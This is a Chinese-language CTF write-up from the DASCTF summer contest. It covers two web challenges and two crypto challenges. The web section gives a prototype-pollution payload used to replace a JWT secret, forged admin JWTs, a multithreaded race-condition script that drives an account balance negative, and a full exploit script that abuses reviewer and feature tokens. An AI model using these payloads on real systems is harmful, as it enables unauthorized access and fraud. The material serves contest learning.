DASCTF夏季赛部分wp
web+密码
DASCTF夏季赛部分wp
WEB
CorpGate
这是一道js原型链污染题目,在附件中可以一眼看到merge()函数
- 这里存在原型链污染:
- 但是我们需要先知道路由,我们看到这里调用了deepmerge()函数--> /api/settings
- 实际上这里的deepmerge()函数当depth==3时,就不会在对关键字进行拦截,因此我们需要嵌套超过三行即可,然后我们需要替换secret,我们先注册登录,拿到
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijc3M2IzMzEzLTY3OWMtNDkzZC04YzhlLTNmMGRiMDQ4MzRhNCIsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiZW1wbG95ZWUiLCJpYXQiOjE3ODAxMzUzNTcsImV4cCI6MTc4MDIyMTc1N30.z5S7KiLQuKUIThRmVUP14vxCDD6-wT1YMAfo2CY3W9E- 然后我们再进行污染即可,很显然污染成功,然后在访问
/api/system/healthcheck进行轮换即可
{
"notifications": {
"digest": {
"channels": {
"constructor": {
"prototype": {
"pending": "123456"
}
}
}
}
}
}- 开始伪造:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijc3M2IzMzEzLTY3OWMtNDkzZC04YzhlLTNmMGRiMDQ4MzRhNCIsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODAxMzUzNTcsImV4cCI6MTc4MDIyMTc1N30.Orele5TOP4-OB_bZwaTaQjpCdBHbGmHUBq4-MYPls5k- 我们通过admin账户拿到了Report Reference: 1ba6356bfe5e67a6f3ccc651eb438a8c**
- 然后我们查看源码,只要提交这个Reference就可以拿到flag
- 我们执行:
POST /api/reports/execute HTTP/1.1
Host: b1bfd4f4.http-ctf2.dasctf.com
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijc3M2IzMzEzLTY3OWMtNDkzZC04YzhlLTNmMGRiMDQ4MzRhNCIsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODAxMzUzNTcsImV4cCI6MTc4MDIyMTc1N30.Orele5TOP4-OB_bZwaTaQjpCdBHbGmHUBq4-MYPls5k
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Referer: http://b1bfd4f4.http-ctf2.dasctf.com/
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
If-None-Match: W/"951-tVBDJ1xO7k9AbNJYfAYy/dIB+Rs"
Content-Type: application/json
{"reference":"1ba6356bfe5e67a6f3ccc651eb438a8c"}
//{"status":"completed","report":"DASCTF{8e76030a-ebab-4ae6-8dd0-29b20211afbd}"}InkVerse
- 我们先注册user/123456然后再进行登录用户
- 点击Bulletin按钮,提示:Access denied. Only featured article authors, reviewers, and admins can view the bulletin board.
- 我们需要进行打赏然后一次一次,但是当余额为0的时候,发现会提示Insufficient balance
- 这里需要打竞争了,多个线程,我们这里新开一个账户,然后利用脚本来进行
import concurrent.futures
import requests
BASE_URL = "http://afa0dbde.http-ctf2.dasctf.com:80"
def tip_once(cookie_value):
headers = {"Cookie": f"session={cookie_value}"}
r = requests.post(
f"{BASE_URL}/api/tip",
json={"article_id": 1},
headers=headers,
timeout=15,
)
return r.status_code, r.text
s = requests.Session()
username = "test12345"
password = "Passw0rd!"
s.post(f"{BASE_URL}/register", data={"username": username, "password": password})
s.post(f"{BASE_URL}/login", data={"username": username, "password": password})
cookie_value = s.cookies.get("session")
with concurrent.futures.ThreadPoolExecutor(max_workers=40) as pool:
futures = [pool.submit(tip_once, cookie_value) for _ in range(40)]
results = [f.result() for f in concurrent.futures.as_completed(futures)]
success = sum(1 for status, _ in results if status == 200)
print("success =", success)
dashboard = s.get(f"{BASE_URL}/dashboard").text
print(dashboard)- 这边跑完我们来登录一下这个账号test12345/Passw0rd!,余额被刷到了负数,声望很高,最重要的是刷到了reviewer
- 此时可以成功访问到/review目录
- 英文看着还是很难受的,通过http://afa0dbde.http-ctf2.dasctf.com/static/js/app.js可以看到几个api接口,但是这几个接口都不能访问
- 我们来看公告栏:
- 这里提示:当前文章导出流程已启动。审核人员可以提出导出请求,这些请求将由我们的后台处理程序进行处理。导出文件包含元数据和完整性验证令牌,因此我们可以尝试导出文章。通过爆破接口可以得到:/api/export /api/export/status,这两个接口可以导出文件,很显然我们需要token,我们先尝试导出文件,看看文件里有没有token,这里提示为经过审核
- 我们先审核一下,这里换一个新账户来进行审核test/test,我在原来的账户里写了一个文章:
- 此时再切换到test/test进行审核,此时这边文章已经过审
- 此时我们再导出这篇文章:
- 然后再轮询状态:
- 最后访问此文件:/exports/export_10_16.txt,拿到了Feature-Token: 05fe8659a6cf8104e9e8a938425e793b1229c0d87135868d83c3c2cb1f5fabf2
- 然后我们带着这个token去审核文章,然后将该文章设置成featured,访问公共就可以拿到flag了,test/test 负责重新导出并 feature,test12345/Passw0rd! 负责登录作者账号看公告拿 flag
exp:
import html
import re
import time
import requests
BASE_URL = "http://afa0dbde.http-ctf2.dasctf.com:80"
SEARCH_MAX_ID = 300
REQUEST_TIMEOUT = 15
USERNAME = "test"
PASSWORD = "test"
AUTHOR_USERNAME = "test12345"
AUTHOR_PASSWORD = "Passw0rd!"
EXPORT_TEXT = """Title: 111111111
Author: test12345
Export-ID: 10
Processed-At: 2026-05-30 11:48:46
Integrity: 284104e0a2fed4a42ad2aeba768af90f
Feature-Token: 05fe8659a6cf8104e9e8a938425e793b1229c0d87135868d83c3c2cb1f5fabf2
---
hello yume!
"""
class ExploitError(RuntimeError):
pass
def parse_export(text):
title = re.search(r"^Title:\s*(.+)$", text, re.M)
author = re.search(r"^Author:\s*(.+)$", text, re.M)
export_id = re.search(r"^Export-ID:\s*(\d+)$", text, re.M)
integrity = re.search(r"^Integrity:\s*([0-9a-fA-F]+)$", text, re.M)
token = re.search(r"^Feature-Token:\s*([0-9a-fA-F]{64})$", text, re.M)
body = re.search(r"^---\r?\n([\s\S]*)$", text, re.M)
if not all([title, author, export_id, integrity, token, body]):
raise ExploitError("failed to parse export text")
return {
"title": title.group(1).strip(),
"author": author.group(1).strip(),
"export_id": int(export_id.group(1)),
"integrity": integrity.group(1).strip(),
"token": token.group(1).strip(),
"body": body.group(1).strip(),
}
def login(username, password):
session = requests.Session()
resp = session.post(
f"{BASE_URL}/login",
data={"username": username, "password": password},
allow_redirects=False,
timeout=REQUEST_TIMEOUT,
)
if resp.status_code != 302 or resp.headers.get("Location") != "/dashboard":
raise ExploitError(f"login failed for {username}: {resp.status_code} {resp.text}")
return session
def extract_article_info(page_text):
title = re.search(r"<h1>(.*?)</h1>", page_text, re.S)
author = re.search(r"<span>By (.*?)</span>", page_text)
status = re.search(r'badge badge-([a-z]+)', page_text)
body = re.search(r'<div class="article-body">\s*(.*?)\s*</div>', page_text, re.S)
featured = "badge-featured" in page_text
return {
"title": html.unescape(title.group(1).strip()) if title else None,
"author": html.unescape(author.group(1).strip()) if author else None,
"status": status.group(1).strip() if status else None,
"body": html.unescape(body.group(1).strip()) if body else None,
"featured": featured,
}
def find_article_id(session, export_meta):
for article_id in range(1, SEARCH_MAX_ID + 1):
resp = session.get(f"{BASE_URL}/article/{article_id}", timeout=REQUEST_TIMEOUT, allow_redirects=False)
if resp.status_code != 200:
continue
info = extract_article_info(resp.text)
if (
info["title"] == export_meta["title"]
and info["author"] == export_meta["author"]
and info["body"] == export_meta["body"]
):
return article_id, info
raise ExploitError("could not find matching article id from export text")
def submit_feature(session, article_id, token):
resp = session.post(
f"{BASE_URL}/api/review/feature",
json={"article_id": article_id, "signature": token},
timeout=REQUEST_TIMEOUT,
)
if resp.status_code != 200:
raise ExploitError(f"feature request failed: {resp.status_code} {resp.text}")
return resp.json()
def queue_export(session, article_id):
resp = session.post(
f"{BASE_URL}/api/export",
json={"article_id": article_id},
timeout=REQUEST_TIMEOUT,
)
if resp.status_code != 200:
raise ExploitError(f"export queue failed: {resp.status_code} {resp.text}")
data = resp.json()
return data["job_id"]
def wait_for_export(session, job_id, timeout_seconds=20):
deadline = time.time() + timeout_seconds
while time.time() < deadline:
resp = session.get(f"{BASE_URL}/api/export/status", timeout=REQUEST_TIMEOUT)
resp.raise_for_status()
data = resp.json()
for job in data.get("jobs", []):
if job.get("id") == job_id and job.get("status") == "completed":
output_path = job.get("output_path")
if output_path:
return output_path
time.sleep(0.5)
raise ExploitError("export job did not complete in time")
def fetch_export_token(session, output_path):
resp = session.get(f"{BASE_URL}/exports/{output_path}", timeout=REQUEST_TIMEOUT)
if resp.status_code != 200:
raise ExploitError(f"failed to fetch export output: {resp.status_code} {resp.text}")
token = re.search(r"^Feature-Token:\s*([0-9a-fA-F]{64})$", resp.text, re.M)
if not token:
raise ExploitError("feature token not found in export output")
return token.group(1)
def refresh_bulletin(session):
resp = session.post(f"{BASE_URL}/api/bulletin/refresh", timeout=REQUEST_TIMEOUT)
if resp.status_code != 200:
raise ExploitError(f"bulletin refresh failed: {resp.status_code} {resp.text}")
def wait_until_featured(session, article_id, timeout_seconds=20):
deadline = time.time() + timeout_seconds
while time.time() < deadline:
resp = session.get(f"{BASE_URL}/article/{article_id}", timeout=REQUEST_TIMEOUT)
resp.raise_for_status()
info = extract_article_info(resp.text)
if info["featured"]:
return info
time.sleep(0.5)
raise ExploitError("article did not become featured in time")
def fetch_flag_from_bulletin(session, timeout_seconds=20):
deadline = time.time() + timeout_seconds
while time.time() < deadline:
refresh_bulletin(session)
resp = session.get(f"{BASE_URL}/bulletin", timeout=REQUEST_TIMEOUT)
resp.raise_for_status()
match = re.search(r"DASCTF\{[^}]+\}", resp.text)
if match:
return match.group(0)
time.sleep(0.5)
return None
def main():
export_meta = parse_export(EXPORT_TEXT)
print(f"[*] login with {USERNAME}/{PASSWORD}")
session = login(USERNAME, PASSWORD)
print("[*] locating article id from export metadata")
article_id, article_info = find_article_id(session, export_meta)
print(
f"[+] article found: id={article_id}, title={article_info['title']}, "
f"author={article_info['author']}, status={article_info['status']}"
)
if article_info["author"] != USERNAME:
print(
f"[!] current login is {USERNAME}, but the featured article author is {article_info['author']}. "
"Flag bulletin is probably only visible to the author account."
)
feature_token = export_meta["token"]
print("[*] submitting feature request with provided token")
try:
result = submit_feature(session, article_id, feature_token)
except ExploitError as exc:
if "Invalid signature" not in str(exc):
raise
print("[!] provided token is not valid for this account, trying a fresh export")
job_id = queue_export(session, article_id)
print(f"[+] export job queued: {job_id}")
output_path = wait_for_export(session, job_id)
print(f"[+] export completed: {output_path}")
feature_token = fetch_export_token(session, output_path)
print(f"[+] fresh token acquired: {feature_token}")
result = submit_feature(session, article_id, feature_token)
print(f"[+] feature response: {result}")
print("[*] waiting for featured badge")
wait_until_featured(session, article_id)
print("[+] article is now featured")
flag_session = session
if article_info["author"] != USERNAME:
if article_info["author"] != AUTHOR_USERNAME:
raise ExploitError(
f"configured author account {AUTHOR_USERNAME} does not match article author {article_info['author']}"
)
print(f"[*] login with author account {AUTHOR_USERNAME}/{AUTHOR_PASSWORD} to read bulletin")
flag_session = login(AUTHOR_USERNAME, AUTHOR_PASSWORD)
print("[*] refreshing bulletin and looking for flag")
flag = fetch_flag_from_bulletin(flag_session)
if flag:
print(f"[+] flag: {flag}")
else:
print("[!] feature succeeded, but no flag was visible in this account's bulletin")
print(f"[!] try logging in as the author account: {article_info['author']}")
if __name__ == "__main__":
main()flag:DASCTF{89a8e2d8-a829-4d2b-94f6-1571c3d1ac43}
Crypto
lattice_oracle
这是一道很简单的lattice题目
- 我们先来看核心代码:
n = 6
q = 97
m = 30
s = [random.randint(0, 3) for _ in range(n)]
for _ in range(m):
a_i = [random.randint(0, q - 1) for _ in range(n)]
e_i = random.randint(-1, 1)
b_i = (sum(x * y for x, y in zip(a_i, s)) + e_i) % q这是一组很小参数的LWE:
- secret 维度
n = 6 - 模数
q = 97 - 噪声
e_i ∈ {-1, 0, 1} - 最关键的是
s_i ∈ {0,1,2,3}
但是我们可以直接进行爆破:4^6 = 4096
- 我们需要拿到
key做AES-CBC解密
exp:
import hashlib
import itertools
import json
from pathlib import Path
from Crypto.Cipher import AES
def centered_mod(value, q):
value %= q
if value > q // 2:
value -= q
return value
def unpad(data):
pad_len = data[-1]
if pad_len < 1 or pad_len > 16 or data[-pad_len:] != bytes([pad_len]) * pad_len:
raise ValueError("invalid PKCS#7 padding")
return data[:-pad_len]
base = Path(__file__).resolve().parent
data = json.loads((base / "data.txt").read_text(encoding="utf-8"))
n = data["n"]
q = data["q"]
A = data["A"]
b = data["b"]
iv = bytes.fromhex(data["iv"])
enc = bytes.fromhex(data["enc"])
solution = None
for s in itertools.product(range(4), repeat=n):
errors = []
ok = True
for row, target in zip(A, b):
diff = centered_mod(sum(x * y for x, y in zip(row, s)) - target, q)
if diff not in (-1, 0, 1):
ok = False
break
errors.append(diff)
if ok:
solution = list(s)
print(f"secret = {solution}")
print(f"errors = {errors}")
break
if solution is None:
raise SystemExit("no valid secret found")
key = hashlib.sha256(str(solution).encode()).digest()[:16]
flag = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(enc))
print(flag.decode())
#DASCTF{LWE_l4tt1c3_r3duct10n_i5_p0w3rful!}three_friends
这是一道很简单的RSA密码题目:
- 我们来看一下:题目核心是把
flag分成了三段,分别用三组模数加密
n1 = p * q
n2 = q * r
n3 = p * r- 然后我们需要分别用三个
gcd()函数求出p,q,r,然后再求出私钥即可 - exp:
from math import gcd
from Crypto.Util.number import long_to_bytes
n1 = 110479112338979326841231465480900311437095583241804968504367003268478785311645575853029227541889465070127417880290972698509502098875302777600751062235679028180932171554996023850242418398546147652141811910224228666917788640895453721648601609529326886128507435254380985821439510394329605362511800619781782498829
n2 = 95225891725804035729098697183853172993650305271540351260130976375990969994680256179992972429701670943885218431291657615581872984046365977866046911929212400122026478512046580419614160900113488336302811792780327677539930592604198331529856760869923384410189400614767668529075682332352478496830621674767765967989
n3 = 111603865467493745511917065096450766019551858630764507502030413922630178420561431122201021143404521026218410173550594126191240832822627851633700772093095150654117699219949636045712687320990198957564564857885138504872560550777788915442814980338401072475446362026076893466520135409327492048388030114969050367401
e = 65537
c1 = 83456548767677952158133165776385438048214812740470347872014544040241661979735585698444752238351578159480247608435786172021153411975720140472715451216442036398970558532828923787921375318802867775369825882219621531795085442575971814645729572790836415339290407608988460626504016819536559945368010686567075802413
c2 = 55598291653542627898994967211126815679185160762475277667203320398466974811147081936849639204784572327753766773503264941715352990434513737784771805183050575481575095545922660276426069697449001567347723946016416649932633528235458091960122921036028416845355866656581114844470311590282808396786169332755296721792
c3 = 99617304265145206462280689337024202287720390645940568836285315412577937662785727570612881726190729195621460858194592258472873348744392240254689998279616123901037173010035977506212880680604466077172284894508163086916852071659627506881093976971048133795462670278664801263633610021626528113016267024450025017002
def main():
q = gcd(n1, n2)
p = gcd(n1, n3)
r = gcd(n2, n3)
d1 = pow(e, -1, (p - 1) * (q - 1))
d2 = pow(e, -1, (q - 1) * (r - 1))
d3 = pow(e, -1, (p - 1) * (r - 1))
m1 = long_to_bytes(pow(c1, d1, n1))
m2 = long_to_bytes(pow(c2, d2, n2))
m3 = long_to_bytes(pow(c3, d3, n3))
print((m1 + m2 + m3).decode())
if __name__ == "__main__":
main()
#DASCTF{thr33_fri3nds_sh@r3_pr1m3s!!}这次只拿了第九的名次,下次继续加油!